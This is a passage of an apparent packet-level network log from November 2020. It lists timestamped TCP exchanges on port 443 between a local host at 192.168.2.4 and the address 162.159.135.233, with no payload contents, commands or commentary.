Nov 28, 2020 10:31:08.057698011 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057714939 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057729006 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.057733059 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057734013 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.057750940 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057765961 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.057769060 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057784081 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057800055 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057815075 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057816982 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.057835102 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057852983 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057856083 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.057871103 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057887077 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057899952 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.057900906 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057904005 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.057917118 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057934999 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057939053 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.057951927 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057971001 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057986021 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.057991028 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.058003902 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.058007956 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.058027029 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.058043957 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.058054924 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.058062077 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.058079004 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.058094025 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.058094978 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.058115005 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.058115005 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.058134079 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.058149099 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.058163881 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.058165073 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.058770895 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.058787107 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.074450016 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074480057 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074492931 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074506998 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074522972 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074539900 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074559927 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074578047 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074594975 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074600935 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.074611902 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074630976 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074647903 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074661016 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.074666023 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074678898 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074691057 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.074697018 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074713945 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074728966 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074740887 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.074743986 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.074748993 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074765921 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074778080 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.074786901 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074806929 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074810028 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.074826002 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074842930 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074846983 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.074860096 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074876070 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074888945 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074894905 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.074904919 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074922085 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074938059 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074949980 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.074955940 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074973106 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.074989080 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.075000048 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.075010061 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.075028896 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.075037003 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.075042009 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.075052023 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.075061083 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.075078964 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.075098038 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.075103998 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.075114965 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.075131893 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.075140953 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.075145006 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.075150013 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.075166941 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.075179100 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.075189114 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.075193882 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.075211048 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.075256109 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.075277090 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.075278997 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.075298071 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.075314045 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.075330019 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.075336933 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.075346947 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.075392008 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.075397015 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.091511011 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091542006 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091557026 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091569901 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091586113 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091602087 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091619015 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091634035 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091650963 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091669083 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091684103 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091701984 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091708899 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.091721058 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091737986 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091753960 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091769934 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091785908 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091801882 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091814041 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.091819048 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091820955 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.091840029 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091851950 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.091856956 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091876030 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091892004 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091892958 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.091911077 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091924906 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091943026 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091959953 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091974020 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.091979980 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.091980934 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.092000961 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.092017889 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.092019081 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.092037916 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.092056036 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.092072010 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.092073917 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.092077017 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.092092991 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.092107058 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.092109919 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.092129946 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.092149019 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.092161894 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.092164993 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.092180014 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.092181921 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.092200994 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.092216015 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.092221975 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.092231989 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.092250109 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.092278004 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.092284918 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.092307091 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.092325926 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.092341900 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.092358112 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.092372894 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.092374086 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.092379093 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.092391014 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.092402935 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.092428923 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.092474937 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.108573914 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.108599901 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.108616114 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.108632088 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.108649969 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.108669996 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.108688116 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.108704090 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.108710051 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.108721972 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.108740091 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.108757973 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.108773947 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.108793974 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.108795881 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.108813047 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.108828068 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.108843088 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.108844042 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.108863115 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.108880997 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.108880997 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.108906031 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.108922958 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.108937025 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.108941078 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.108944893 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.108958960 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.108978033 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.108984947 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.108994961 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109019041 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109040022 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109046936 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.109051943 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.109064102 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109082937 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109101057 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.109102011 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109121084 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109138012 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109154940 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109160900 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.109165907 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.109174013 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109191895 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109200001 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.109210014 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109225988 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109241009 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109256029 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109258890 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.109272957 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109289885 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109302998 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.109309912 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109328985 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109344959 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109350920 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.109361887 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109379053 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109401941 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.109411955 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109431982 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109451056 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109463930 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.109467030 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109468937 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.109481096 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.109508038 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.110003948 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.125817060 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.125844002 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.125857115 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.125869989 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.125888109 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.125905037 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.125921965 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.125937939 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.125957966 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.125976086 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.125991106 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126007080 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126022100 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126039028 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126055956 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126072884 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126074076 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.126094103 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126112938 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126130104 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126133919 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.126148939 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126167059 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126187086 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126188993 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.126205921 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126224041 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126228094 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.126238108 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126255989 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126271963 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126274109 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.126293898 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126312971 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126316071 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.126318932 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.126329899 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126348019 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126357079 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.126364946 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126382113 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126399040 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126400948 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.126416922 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126440048 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126456976 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126465082 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.126470089 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.126473904 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126492023 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126492023 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.126507998 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126523018 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126538992 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126543999 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.126558065 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126578093 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126595020 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126595974 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.126600027 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.126610994 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126626968 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126629114 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.126643896 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126660109 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126679897 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.126738071 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126758099 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126774073 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126786947 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.126791000 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126792908 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.126807928 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126823902 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126827002 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.126841068 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126857996 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126877069 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126879930 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.126895905 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126912117 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126921892 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.126926899 CET	49733	443	192.168.2.4	162.159.135.233
